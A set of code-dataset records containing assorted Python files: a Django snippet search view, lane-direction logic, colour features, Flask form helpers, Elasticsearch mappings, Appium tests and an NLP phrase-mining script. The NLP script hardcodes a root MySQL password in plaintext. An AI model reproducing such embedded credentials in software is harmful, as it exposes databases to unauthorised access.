json.load(request)['search_term']\n snippets = Snippet.objects.filter(title__icontains=search_term)\n languages = Category.objects.all()\n snippets_json = [snippet for snippet in snippets.values()]\n for snippet in snippets_json:\n user_id = snippet.get('user_id')\n user = get_object_or_404(User, pk=user_id)\n user_name = user.username\n snippet['username'] = user_name\n category_id = snippet.get('category_id')\n category = get_object_or_404(Category, pk=category_id)\n category_name = category.language\n snippet['category'] = category_name\n print(type(snippets_json[0]))\n return JsonResponse(snippets_json, safe=False)\n\n\n\n \n\n","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"165915877","text":"import numpy as np\n\nSTOP = 9002\nLEFT = 9003\nCENTER = 9004\nRIGHT = 9005\n\nL = 0\nR = 1\n\n#############################################################################\n# DEF DIRECTION DESCRIPTION:\n# argument THETA[] inlcudes ancle values for left and right line\n# generated with cv2.houghLine - function\n#############################################################################\ndef getDirection(thetas):\n direction = CENTER\n theta_l = None\n theta_r = None\n \n # generate comparable ancles theta_l & theta_r \n if (isinstance(thetas[L], float)):\n theta_l = (np.pi / 2) - thetas[L]\n if (isinstance(thetas[R], float)):\n theta_r = -(0.5 * np.pi) + thetas[R]\n \n print('transfomred data: ' + str(theta_l), str(theta_r))\n\n # CASE both ancles are detected\n if (isinstance(theta_l, float)) and (isinstance(theta_r, float)): \n if (theta_l > theta_r):\n print('theta_l = ' + str(theta_l) + '\\t\\ttheta_r = ' + str(theta_l) )\n direction = RIGHT\n print('beides floates')\n elif (theta_r > theta_l):\n direction = LEFT \n else:\n direction = CENTER\n print('left: '+ str(theta_l)+ '\\tright: ' + str(theta_r) )\n\n # CASE there is no right line value -> turn right\n print('right is NOT a float: ' + str(not isinstance(thetas[R], float)))\n if (isinstance(theta_l, float)) and (not isinstance(thetas[R], float)):\n direction = RIGHT\n # CASE there is no left line value -> turn left\n elif (isinstance(theta_r, float)) and (not isinstance(thetas[L], float)):\n direction = LEFT\n # CASE no lines are detected -> stop\n elif (not isinstance(thetas[L], float)) and (not isinstance(thetas[R], float)):\n direction = STOP\n\n return direction\n\n# empty_list = [[np.pi / 4, 3*np.pi / 4],['N/A',1.1],[1.1,'N/A'],['N/A','N/A']]\n\n# print('np.pi: ' + str(np.pi))\n\n# for data in empty_list:\n# print('\\n############### data sent: ' + str(data))\n# print('direction: ' + str(direction(data)))\n\n\n\n\n\n","sub_path":"cv/direction_iterative.py","file_name":"direction_iterative.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"431985997","text":"import cv2\nimport numpy as np\n\nclass HIS:\n def __init__(self, image):\n image_hsl = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n image_hsl = image_hsl.T\n self.hue = image_hsl[0]\n self.intensity = image_hsl[1]\n self.saturation = image_hsl[2]\n self.image = image_hsl.T\n \n def Hue(self):\n return self.hue\n \n def Intensity(self):\n return self.intensity\n \n def Saturation(self):\n return self.saturation\n \n def get(self):\n ret = {\n 'Mean H': self.hue.mean(),\n 'Mean I': self.intensity.mean(),\n 'Mean S': self.saturation.mean(),\n 'Std H': self.hue.std(),\n 'Std I': self.intensity.std(),\n 'Std S': self.saturation.std()\n }\n return ret\n \n def get_feature(self):\n out = np.array([\n self.hue.mean(),\n self.intensity.mean(),\n self.saturation.mean(),\n self.hue.std(),\n self.intensity.std(),\n self.saturation.std()\n ])\n return out","sub_path":"his.py","file_name":"his.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"2904782","text":"from ..components.target import Target\nclass WorldActSystem():\n def __init__(self,manager):\n self.manager = manager\n\n def execute(self):\n # call act, storing agent index and choice\n for i in self.manager.collections.get('spacebar'):\n\n spacebar_press = i.get('spacebar')\n\n if spacebar_press.handled:\n break\n\n spacebar_press.handled = True\n\n agent_index, choice, end_day = self.manager.world.act()\n\n entity = self.manager.agent_map[agent_index]\n \n well_target_entity = self.manager.well_map[choice]\n well_pos = well_target_entity.get('pos')\n\n self.manager.add_component(\n entity,\n (('target', Target(well_pos.value[0],well_pos.value[1] )),)\n )\n","sub_path":"animation/systems/world_act_system.py","file_name":"world_act_system.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"438575876","text":"#Now, I made it, get a website description.\n\nimport requests\nimport re\n\n\ndef get_URLs(text):\n return re_get_first_text(r'https?://\\S+', text) \n\n\ndef get_web_description(website):\n r = requests.get(website)\n title = re_get_first_text(\"[\\s\\S]*?\", r.text)\n title = title.replace('', '').replace('', '')\n\n description = re_get_first_text(''']*name=[\\\"|\\']description[\\\"|\\'][^>]*content=[\\\"]([^\\\"]*)[\\\"][^>]*>''', r.text)\n description = description.replace(''''', '')\n\n if (title == '' or description == ''):\n result = title + description\n else:\n result = title + '\\n\\n' + description\n \n return result\n\n\ndef re_get_first_text(regular_expression, from_text):\n result_list = re.findall(regular_expression, from_text)\n if (len(result_list) != 0):\n return result_list[0]\n else:\n return ''\n \ndef from_text_get_website_description(text):\n website = get_URLs(text)\n return get_web_description(website)\n \n\ntext = '''#*527*your text*527*'''\ntry:\n print(from_text_get_website_description(text))\nexcept:\n print('')\n","sub_path":"@Xiaoya/Python/Plugins/Extensions/GetWebDescription/[E]from_text_get_website_description.py","file_name":"[E]from_text_get_website_description.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"118933278","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2015年9月1日\n\n@author: Changzhi Sun\n'''\nimport os\nimport re\nimport sys\nimport getopt\nfrom collections import Counter\nfrom itertools import chain\n\nimport pymysql\n\nfrom my_package.scripts import load_pickle_file, return_none, save_pickle_file\nfrom my_package.scripts import save_json_file, create_content\nfrom my_package.scripts import inquire_content, filter_word\nfrom my_package.class_define import Static\n\ndef get_sentiment(sentence, wrod_list, sentiments, connection, product_word, all_word, table_name, w=5):\n n = len(sentence.pos_tag)\n i = 1\n mark = False\n while i in sentence.tokens:\n j, k = i, 0\n while k < len(word_list) and sentence.tokens[j] == word_list[k]:\n j += 1\n k += 1\n if k == len(word_list):\n mark = True\n obj_index = list(range(i, j))\n b = i - w if i - w >= 1 else 1\n e = j + w if j + w <= n + 1 else n + 1\n for m in range(b, i):\n if sentence.pos_tag[m] in Static.VB:\n vp = sentence.get_vp(m, i)\n if len(vp) == 1:\n continue\n if filter_word(sentence, vp):\n continue\n new_sentiment_string = sentence.get_phrase(vp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in vp])\n\n\n if sentence.pos_tag[m] in Static.JJ:\n adjp = sentence.get_max_adjp(m, obj_index)\n if len(adjp) == 1:\n continue\n if filter_word(sentence, adjp):\n continue\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n\n adjp = sentence.get_min_adjp(m, obj_index)\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n if len(adjp) == 1:\n continue\n\n if filter_word(sentence, adjp):\n continue\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n\n for m in range(j, e):\n if sentence.pos_tag[m] in Static.VB:\n vp = sentence.get_vp(m, j)\n if len(vp) == 1:\n continue\n if filter_word(sentence, vp):\n continue\n new_sentiment_string = sentence.get_phrase(vp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in vp])\n\n if sentence.pos_tag[m] in Static.JJ:\n adjp = sentence.get_max_adjp(m, obj_index)\n if len(adjp) == 1:\n continue\n if filter_word(sentence, adjp):\n continue\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n adjp = sentence.get_min_adjp(m, obj_index)\n if len(adjp) == 1:\n continue\n if filter_word(sentence, adjp):\n continue\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in product_word:\n product_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n i += 1\n if mark:\n for i in range(1, len(sentence.pos_tag)+1):\n if i not in sentence.tokens:\n continue\n if sentence.pos_tag[i] in Static.VB:\n vp = sentence.get_vp(i)\n if len(vp) == 1:\n continue\n if filter_word(sentence, vp):\n continue\n new_sentiment_string = sentence.get_phrase(vp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in all_word:\n all_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in vp])\n\n if sentence.pos_tag[i] in Static.JJ:\n adjp = sentence.get_max_adjp(i)\n if len(adjp) == 1:\n continue\n if filter_word(sentence, adjp):\n continue\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in all_word:\n all_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n adjp = sentence.get_min_adjp(i)\n if len(adjp) == 1:\n continue\n if filter_word(sentence, adjp):\n continue\n new_sentiment_string = sentence.get_phrase(adjp).lower()\n\n # 语言模型过滤\n if inquire_content(connection, new_sentiment_string, table_name):\n if new_sentiment_string not in all_word:\n all_word[new_sentiment_string] = \" \".join([sentence.pos_tag[e] for e in adjp])\n return int(mark)\n\ndef usage():\n\n '''打印帮助信息'''\n print(\"compare_product.py 用法:\")\n print(\"-h, --help: 打印帮助信息\")\n print(\"-d, --domain: 需要处理的领域名称\")\n\nif __name__ == \"__main__\":\n # t = Trie_Tree()\n # t.build_suffix_tree([\"a\", \"b\", \"c\"])\n # t.build_suffix_tree([\"c\", \"b\", \"c\"])\n\n # print(t.inquire_word_string_count([\"b\", \"c\"]))\n\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hd:\", [\"help\", \"domain=\"])\n except getopt.GetoptError:\n print(\"命令行参数输入错误!\")\n usage()\n sys.exit(1)\n for op, value in opts:\n if op in (\"-h\", \"--help\"):\n usage()\n sys.exit()\n if op in (\"-d\", \"--domain\"):\n content = value\n field_content = r\"../../data/domains/\" + content + r\"/\"\n create_content(field_content + \"near\")\n sentiment_dict = dict(Static.sentiment_word)\n sentiments = set(sentiment_dict.keys())\n word_list = [\"product\"]\n connection = pymysql.connect(host=\"127.0.0.1\",\n user=\"root\",\n passwd=\"100704048\",\n db=content,\n charset=\"utf8\",\n cursorclass=pymysql.cursors.DictCursor)\n table_name = content + \"_lm\"\n f = open(field_content+\"near/product_near\", \"w\", encoding=\"utf8\")\n g = open(field_content+\"near/all_near\", \"w\", encoding=\"utf8\")\n sents = []\n i = 1\n k = 0\n filename = field_content + \"pickles/parse_sentences/parse_sentences_%d.pickle\"%i\n product_word, all_word = {}, {}\n while os.path.exists(filename+\".bz2\"):\n print(filename)\n sentences = load_pickle_file(filename)\n for sentence in sentences:\n k += get_sentiment(sentence, word_list, sentiments, connection, product_word, all_word, table_name)\n if k == 1000:\n break\n if k == 1000:\n break\n i += 1\n filename = field_content + \"pickles/parse_sentences/parse_sentences_%d.pickle\"%i\n for key, value in product_word.items():\n print(\"%s\\t%s\"%(key, value), file=f)\n for key, value in all_word.items():\n print(\"%s\\t%s\"%(key, value), file=g)\n connection.close()\n f.close()\n g.close()\n","sub_path":"experiments/compare_product.py","file_name":"compare_product.py","file_ext":"py","file_size_in_byte":9013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"180490330","text":"import arcpy\nimport logging\nimport queue\nimport time\nfrom logging.handlers import QueueHandler, QueueListener\n\n# https://docs.python.org/3/howto/logging-cookbook.html\n# https://docs.python.org/3/howto/logging-cookbook.html#dealing-with-handlers-that-block\n# https://docs.python.org/3/library/logging.handlers.html\n# https://docs.python.org/3/library/logging.handlers.html#queuehandler\n# https://softwareengineering.stackexchange.com/questions/201580/python-multiprocessing-with-queue-vs-zeromq-ipc\n\n# Currently this logs to stream (warning), file (error).\n# Goal is to arcpy.AddMessage() to both the stream and a log file.\n# This enables logging to appear on the ArcGIS Pro window.\n# queues could be helpful for logging thread info from geoprocessing events occurring on different processes.\n\n# Example of a custom arcpy handler:\n# https://gis.stackexchange.com/questions/135920/logging-arcpy-error-messages\n\n\nque = queue.Queue(-1)\nqueue_handler = QueueHandler(que)\nstream_handler = logging.StreamHandler()\nfile_handler = logging.FileHandler('app.log', mode='a')\nformatter = logging.Formatter(\"%(asctime)s %(name)-12s %(levelname)-8s\"\n \"{'file': %(filename)s 'function': %(funcName)s 'line': %(lineno)s}\\n\"\n \"%(threadName)s: %(message)s\\n\")\nstream_listener = QueueListener(que, stream_handler)\nfile_listener = QueueListener(que, file_handler)\nroot = logging.getLogger()\nroot.addHandler(queue_handler)\nstream_handler.setFormatter(formatter)\nfile_handler.setFormatter(formatter)\nstream_listener.start()\nfile_listener.start()\n\nwhile True:\n root.debug('debug msg')\n time.sleep(1)\n root.info('info msg')\n time.sleep(1)\n root.warning('warning msg')\n time.sleep(1)\n root.error('error msg')\n time.sleep(1)\n\nstream_listener.stop()\nfile_listener.stop()\n","sub_path":"assignment13/log_exercise.py","file_name":"log_exercise.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"93705776","text":"import re\r\nimport os\r\nimport json\r\nfrom os.path import join, realpath, dirname\r\nfrom .Project import Project\r\n\r\n# maintains the project list and all open projects\r\nclass ProjectList:\r\n # datadir should point to the dir\r\n # where files are saved and loaded\r\n def __init__(self, datadir):\r\n self.openProjects = {}\r\n\r\n datadir = realpath(datadir)\r\n # check that datadir is a\r\n if not os.access(datadir, os.R_OK):\r\n raise Exception('datadir {} not readable'.format(datadir))\r\n\r\n self.datadir = datadir\r\n # readonly path for projects, used to show example projects\r\n self.readonlydatadir = join(realpath(dirname(__file__)), 'data')\r\n self.suffix = '.stlinspector'\r\n\r\n # returns a list containing dicts with\r\n # id, title, and coverage of available projects\r\n def list(self):\r\n lst = []\r\n\r\n for p in self.openProjects:\r\n lst.append(self.openProjects[p].overview())\r\n\r\n # load files from datadir\r\n getfiles = lambda d: [(f, os.path.join(d, f)) for f in os.listdir(d)]\r\n files = getfiles(self.datadir) + getfiles(self.readonlydatadir)\r\n\r\n # list of already listed ids\r\n listedids = []\r\n\r\n for f, file in files:\r\n \r\n if not os.path.isfile(file):\r\n continue\r\n \r\n # only file-extension .stlinspector allowed\r\n suffixLen = len(self.suffix)\r\n if f[-suffixLen:] != self.suffix:\r\n continue\r\n \r\n # check if id already loaded\r\n id = f[:-suffixLen]\r\n if id in self.openProjects:\r\n continue\r\n \r\n # skip id, if the same id was already loaded\r\n # this ensures, datadir shadows readonlydatadir\r\n if id in listedids:\r\n continue\r\n\r\n listedids.append(id)\r\n\r\n try:\r\n p = self.loadProject(id, file)\r\n lst.append(p.overview())\r\n except:\r\n lst.append({\r\n 'id': id,\r\n 'title': id,\r\n 'error': 'load error'\r\n })\r\n\r\n return lst\r\n\r\n # deletes the project with the given id (string)\r\n def delete(self, id):\r\n # close project if opened\r\n self.close(id)\r\n\r\n # delete file if it exists\r\n file = os.path.join(self.datadir, id+self.suffix)\r\n if not os.path.isfile(file):\r\n return\r\n\r\n os.remove(file)\r\n\r\n # loads a file into a project\r\n def loadProject(self, id, filename):\r\n with open(filename) as fp:\r\n p = Project(id, data=json.load(fp))\r\n fp.close()\r\n return p\r\n\r\n # saves the project with id\r\n def saveProject(self, id):\r\n p = self.project(id)\r\n with open(os.path.join(self.datadir, id+self.suffix), 'w') as fp:\r\n json.dump(p.save(), fp, indent=2)\r\n fp.close()\r\n\r\n # creates a project with the given title\r\n # returns the same object as list() elements\r\n def create(self, title):\r\n id = re.sub(r'\\W', '_', title)\r\n project = Project(id)\r\n project.setTitle(title)\r\n self.openProjects[id] = project\r\n return project.overview()\r\n\r\n # closes a project\r\n def close(self, id):\r\n if id in self.openProjects:\r\n del self.openProjects[id]\r\n\r\n # returns the project to the given id\r\n # loads it if not already loaded\r\n # throws an exception if project cannot be found\r\n def project(self, id):\r\n if id in self.openProjects:\r\n return self.openProjects[id]\r\n\r\n file = os.path.join(self.datadir, id+self.suffix)\r\n if not os.path.isfile(file):\r\n # check file existence in readonlydatadir\r\n file = os.path.join(self.readonlydatadir, id+self.suffix)\r\n if not os.path.isfile(file):\r\n raise Exception('Project not found')\r\n\r\n project = self.loadProject(id, file)\r\n self.openProjects[id] = project\r\n return project\r\n","sub_path":"STLInspector/frontend/ProjectList.py","file_name":"ProjectList.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"96607057","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n'''=================================================\n@Project -> File :Test_two -> test_contact\n@IDE :PyCharm\n@Author :hang.zhao\n@Date :2020/9/1 15:45\n@Desc :\n=================================================='''\nimport pytest\nimport yaml\n\nfrom zuoye_app_weixin_v02.page.app import App\n\n\n\ndef get_contact():\n with open(\"../datas_1/contacts.yaml\",encoding='utf-8') as f:\n datas1 = yaml.safe_load(f)\n add_members = datas1['addname']\n del_members = datas1['delname']\n return [add_members,del_members]\n\n\nclass TestWeiXin():\n\n def setup(self):\n \"\"\"\n 启动app\n\n \"\"\"\n self.app = App()\n self.main = self.app.start().goto_main()\n pass\n\n def teardown(self):\n self.app.stop()\n\n @pytest.mark.parametrize('name,gender,phonenum',get_contact()[0])\n def test_addcontact(self,name,gender,phonenum):\n\n mypage = self.main.goto_addresslist().add_member().addmember_menual().edit_name(name).edit_gender(gender)\\\n .edit_phonenum(phonenum).click_save()\n\n mytoast = mypage.get_toast()\n print(f'实际结果:{mytoast}')\n assert mytoast == '添加成功'\n\n @pytest.mark.parametrize('name1',get_contact()[1])\n def test_deletecontact(self,name1):\n print(f'成员ID:{name1}')\n mydelete = self.main.goto_addresslist_1().select_name().clickedeitbutton().editmember().deletename().confirm()\\\n .search().search_name_id(name1)\n\n myresults = mydelete.get_results()\n print(f'实际结果:{myresults}')\n assert myresults == '无搜索结果'\n\n","sub_path":"zuoye_app_weixin_v02/test_case/test_contact.py","file_name":"test_contact.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"495548990","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nStandard forms\n\"\"\"\n\nfrom flask import render_template, request, Markup, abort, flash, redirect, json, escape, url_for\nfrom wtforms.widgets import html_params\nimport flask.ext.wtf as wtf\nfrom coaster import sanitize_html\n\n\nclass RichText(wtf.TextArea):\n \"\"\"\n Rich text widget.\n \"\"\"\n def __call__(self, field, **kwargs):\n c = kwargs.pop('class', '') or kwargs.pop('class_', '')\n if c:\n kwargs['class'] = u'%s %s' % ('richtext', c)\n else:\n kwargs['class'] = 'richtext'\n return super(RichText, self).__call__(field, **kwargs)\n\n\nclass SubmitInput(wtf.SubmitInput):\n \"\"\"\n Submit input with pre-defined classes.\n \"\"\"\n def __init__(self, *args, **kwargs):\n self.css_class = kwargs.pop('class', '') or kwargs.pop('class_', '')\n super(SubmitInput, self).__init__(*args, **kwargs)\n\n def __call__(self, field, **kwargs):\n c = kwargs.pop('class', '') or kwargs.pop('class_', '')\n kwargs['class'] = u'%s %s' % (self.css_class, c)\n return super(SubmitInput, self).__call__(field, **kwargs)\n\n\nclass DateTimeInput(wtf.Input):\n \"\"\"\n Render date and time inputs.\n \"\"\"\n input_type = 'datetime'\n\n def __call__(self, field, **kwargs):\n kwargs.setdefault('id', field.id)\n field_id = kwargs.pop('id')\n kwargs.pop('type', None)\n value = kwargs.pop('value', None)\n if value is None:\n value = field._value()\n if not value:\n value = ' '\n date_value, time_value = value.split(' ', 1)\n return Markup(u' ' % (\n html_params(name=field.name, id=field_id + '-date', value=date_value, **kwargs),\n html_params(name=field.name, id=field_id + '-time', value=time_value, **kwargs)\n ))\n\n\nclass RichTextField(wtf.TextAreaField):\n \"\"\"\n Rich text field.\n \"\"\"\n widget = RichText()\n\n # TODO: Accept valid_tags as a init parameter\n\n def process_formdata(self, valuelist):\n super(RichTextField, self).process_formdata(valuelist)\n # Sanitize data\n self.data = sanitize_html(self.data)\n\n\nclass DateTimeField(wtf.DateTimeField):\n \"\"\"\n A text field which stores a `datetime.datetime` matching a format.\n \"\"\"\n widget = DateTimeInput()\n\n def __init__(self, label=None, validators=None, format='%Y-%m-%d %I:%M %p', **kwargs):\n super(DateTimeField, self).__init__(label, validators, **kwargs)\n self.format = format\n\n\nclass Form(wtf.Form):\n \"\"\"\n Form with additional methods.\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(Form, self).__init__(*args, **kwargs)\n # Make editing objects easier\n self.edit_obj = kwargs.get('obj')\n\n\nclass ConfirmDeleteForm(Form):\n \"\"\"\n Confirm a delete operation\n \"\"\"\n # The labels on these widgets are not used. See delete.html.\n delete = wtf.SubmitField(u\"Delete\")\n cancel = wtf.SubmitField(u\"Cancel\")\n\n\ndef render_form(form, title, message='', formid='form', submit=u\"Submit\", cancel_url=None, ajax=False):\n multipart = False\n for field in form:\n if isinstance(field.widget, wtf.FileInput):\n multipart = True\n if request.is_xhr and ajax:\n return render_template('baseframe/ajaxform.html', form=form, title=title,\n message=message, formid=formid, submit=submit,\n cancel_url=cancel_url, multipart=multipart)\n else:\n return render_template('baseframe/autoform.html', form=form, title=title,\n message=message, formid=formid, submit=submit,\n cancel_url=cancel_url, ajax=ajax, multipart=multipart)\n\n\ndef render_message(title, message):\n if request.is_xhr:\n return Markup(\"

      %s

      \" % escape(message))\n else:\n return render_template('baseframe/message.html', title=title, message=message)\n\n\ndef render_redirect(url, code=302):\n if request.is_xhr:\n return render_template('baseframe/redirect.html', quoted_url=Markup(json.dumps(url)))\n else:\n return redirect(url, code=code)\n\n\ndef render_delete_sqla(ob, db, title, message, success=u'', next=None):\n if not ob:\n abort(404)\n form = ConfirmDeleteForm()\n if form.validate_on_submit():\n if 'delete' in request.form:\n db.session.delete(ob)\n db.session.commit()\n if success:\n flash(success, \"success\")\n return render_redirect(next or url_for('index'))\n return render_template('baseframe/delete.html', form=form, title=title, message=message)\n","sub_path":"baseframe/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"410307994","text":"# -*- coding: utf-8 -*-\n\nes_mappings = {\n\t\"Venue\" : {\n\t\t\"properties\" : {\n\t\t\t\"region\" : {\n\t\t\t\t\"type\" : \"string\",\n\t\t\t\t\"analyzer\": \"new_analyzer\",\n \"search_analyzer\": \"new_search_analyzer\"\n\t\t\t},\n\t\t\t\"locality\" : {\n\t\t\t\t\"type\" : \"string\",\n\t\t\t\t\"analyzer\": \"new_analyzer\",\n \"search_analyzer\": \"new_search_analyzer\"\n\t\t\t},\n\t\t\t\"district\" : {\n\t\t\t\t\"type\" : \"string\",\n\t\t\t\t\"analyzer\": \"new_analyzer\",\n \"search_analyzer\": \"new_search_analyzer\"\n\t\t\t},\n \"street\" : {\n \"type\" : \"string\",\n \"analyzer\": \"new_analyzer\",\n \"search_analyzer\": \"new_search_analyzer\"\n },\n \"house\" : {\n \"type\" : \"string\",\n \"analyzer\": \"new_analyzer\",\n \"search_analyzer\": \"new_search_analyzer\"\n }\n\t\t}\n\t}\n}\n\nes_ind_settings = {\n \"settings\": {\n \"analysis\" : {\n \"analyzer\" : {\n \"new_analyzer\" : {\n \"type\" : \"custom\",\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"my_stopwords\", \"asciifolding\", \"lowercase\", \"worddelimiter\", \"ngram_filter\"]\n },\n \"new_search_analyzer\" : {\n \"type\" : \"custom\",\n \"tokenizer\" : \"keyword\",\n \"filter\" : [\"my_stopwords\", \"asciifolding\", \"lowercase\", \"worddelimiter\"]\n }\n },\n \"filter\" : {\n \"my_stopwords\" : {\n \"type\" : \"stop\",\n \"ignore_case\" : True,\n \"stopwords\" : [\"микрорайон\",\"область\",\"город\",\"городе\",\"район\",\"улица\",\"дом\"]\n },\n \"snowball\" : {#dostaet koren slov\n \"type\" : \"snowball\",\n \"language\" : \"Russian\"\n },\n \"stemmer\" : {\n \"type\" : \"stemmer\",\n \"language\" : \"russian\"\n },\n \"worddelimiter\" : {#izbavlyaetsya ot tochek i prochih\n \"type\" : \"word_delimiter\"\n },\n \"ngram_filter\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 3,\n \"max_gram\": 20\n }\n }\n }\n }\n}\n\nmodel_es_indices = {\n \"Venue\": {\n 'index_name': \"project_kaspi_2\",\n \"type\": \"venue\"\n }\n}\n\n","sub_path":"project_kaspi_2/es_mappings.py","file_name":"es_mappings.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404268186","text":"import random\r\nfrom typing import Dict, Optional\r\n\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn.functional as F\r\n\r\nfrom .backbone import BertRelationClassifier, BertTextClassifier, BertEntityClassifier\r\nfrom .dataset import BERTTorchTextClassDataset, BERTTorchRelationClassDataset, BaseDataset, TextDataset, RelationDataset, EntityDataset\r\n\r\n\r\ndef set_seed(seed):\r\n torch.backends.cudnn.deterministic = True\r\n random.seed(seed)\r\n np.random.seed(seed)\r\n torch.manual_seed(seed)\r\n\r\n\r\ndef get_bert_model_class(dataset: BaseDataset):\r\n if isinstance(dataset, TextDataset):\r\n return BertTextClassifier\r\n if isinstance(dataset, RelationDataset):\r\n return BertRelationClassifier\r\n if isinstance(dataset, EntityDataset):\r\n return BertEntityClassifier\r\n raise NotImplementedError\r\n\r\n\r\ndef get_bert_torch_dataset_class(dataset: BaseDataset):\r\n if isinstance(dataset, TextDataset):\r\n return BERTTorchTextClassDataset\r\n if isinstance(dataset, RelationDataset):\r\n return BERTTorchRelationClassDataset\r\n if isinstance(dataset, EntityDataset):\r\n raise NotImplementedError\r\n raise NotImplementedError\r\n\r\n\r\ndef cross_entropy_with_probs(\r\n input: torch.Tensor,\r\n target: torch.Tensor,\r\n weight: Optional[torch.Tensor] = None,\r\n reduction: str = \"mean\",\r\n) -> torch.Tensor:\r\n \"\"\"Calculate cross-entropy loss when targets are probabilities (floats), not ints.\r\n\r\n PyTorch's F.cross_entropy() method requires integer labels; it does accept\r\n probabilistic labels. We can, however, simulate such functionality with a for loop,\r\n calculating the loss contributed by each class and accumulating the results.\r\n Libraries such as keras do not require this workaround, as methods like\r\n \"categorical_crossentropy\" accept float labels natively.\r\n\r\n Note that the method signature is intentionally very similar to F.cross_entropy()\r\n so that it can be used as a drop-in replacement when target labels are changed from\r\n from a 1D tensor of ints to a 2D tensor of probabilities.\r\n\r\n Parameters\r\n ----------\r\n input\r\n A [num_points, num_classes] tensor of logits\r\n target\r\n A [num_points, num_classes] tensor of probabilistic target labels\r\n weight\r\n An optional [num_classes] array of weights to multiply the loss by per class\r\n reduction\r\n One of \"none\", \"mean\", \"sum\", indicating whether to return one loss per data\r\n point, the mean loss, or the sum of losses\r\n\r\n Returns\r\n -------\r\n torch.Tensor\r\n The calculated loss\r\n\r\n Raises\r\n ------\r\n ValueError\r\n If an invalid reduction keyword is submitted\r\n \"\"\"\r\n if input.shape[1] == 1:\r\n input = input.squeeze()\r\n if target.ndim == 2:\r\n target = target[:, 1]\r\n return F.binary_cross_entropy_with_logits(input, target, weight=weight, reduction=reduction)\r\n else:\r\n\r\n if target.ndim == 1:\r\n return F.cross_entropy(input, target.long(), weight=weight, reduction=reduction)\r\n\r\n num_points, num_classes = input.shape\r\n # Note that t.new_zeros, t.new_full put tensor on same device as t\r\n cum_losses = input.new_zeros(num_points)\r\n for y in range(num_classes):\r\n target_temp = input.new_full((num_points,), y, dtype=torch.long)\r\n y_loss = F.cross_entropy(input, target_temp, reduction=\"none\")\r\n if weight is not None:\r\n y_loss = y_loss * weight[y]\r\n cum_losses += target[:, y].float() * y_loss\r\n\r\n if reduction == \"none\":\r\n return cum_losses\r\n elif reduction == \"mean\":\r\n return cum_losses.mean()\r\n elif reduction == \"sum\":\r\n return cum_losses.sum()\r\n else:\r\n raise ValueError(\"Keyword 'reduction' must be one of ['none', 'mean', 'sum']\")\r\n\r\n\r\ndef construct_collate_fn_trunc_pad(mask: str):\r\n def collate_fn_trunc_pad(batch: Dict):\r\n batch = torch.utils.data._utils.collate.default_collate(batch)\r\n batch_mask = batch[mask]\r\n batch_max_seq = batch_mask.sum(dim=1).max()\r\n for k, v in batch.items():\r\n ndim = batch[k].ndim\r\n if ndim > 1:\r\n if ndim == 2:\r\n batch[k] = v[:, :batch_max_seq]\r\n else:\r\n batch[k] = v[:, :batch_max_seq, :]\r\n return batch\r\n\r\n return 